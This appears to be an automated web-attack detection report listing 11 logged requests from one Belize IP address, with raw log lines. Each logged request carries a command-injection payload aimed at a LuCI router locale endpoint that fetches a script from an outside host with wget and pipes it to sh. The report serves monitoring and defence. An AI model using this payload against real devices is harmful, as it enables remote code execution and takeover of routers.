Summary: 11 incidents discovered from one client

	31.220.1.144 | 11 incidents | impact ∑: 165	attacks only
	Description: A targeted scan from Belize yesterday. A total of 11 incidents where discovered by phpids detection modules. The incident happened during unusual working hours in Belize, so it might be carried out by a hobbyist on caffeine.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Mon, 23 Dec 2024 01:17:59 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Mon, 23 Dec 2024 01:17:59 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Mon, 23 Dec 2024 02:02:12 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Mon, 23 Dec 2024 02:02:12 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Mon, 23 Dec 2024 04:00:56 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Mon, 23 Dec 2024 04:00:56 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Mon, 23 Dec 2024 05:19:12 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Mon, 23 Dec 2024 05:19:12 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Mon, 23 Dec 2024 06:53:55 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Mon, 23 Dec 2024 06:53:55 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Mon, 23 Dec 2024 07:28:15 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Mon, 23 Dec 2024 07:28:15 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Mon, 23 Dec 2024 09:34:07 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Mon, 23 Dec 2024 09:34:08 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Mon, 23 Dec 2024 10:37:12 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Mon, 23 Dec 2024 10:37:12 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Mon, 23 Dec 2024 11:30:12 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Mon, 23 Dec 2024 11:30:12 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Mon, 23 Dec 2024 12:44:40 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Mon, 23 Dec 2024 12:44:40 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Mon, 23 Dec 2024 14:05:25 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Mon, 23 Dec 2024 14:05:25 +0100 \x16\x03\x01 400 408 - -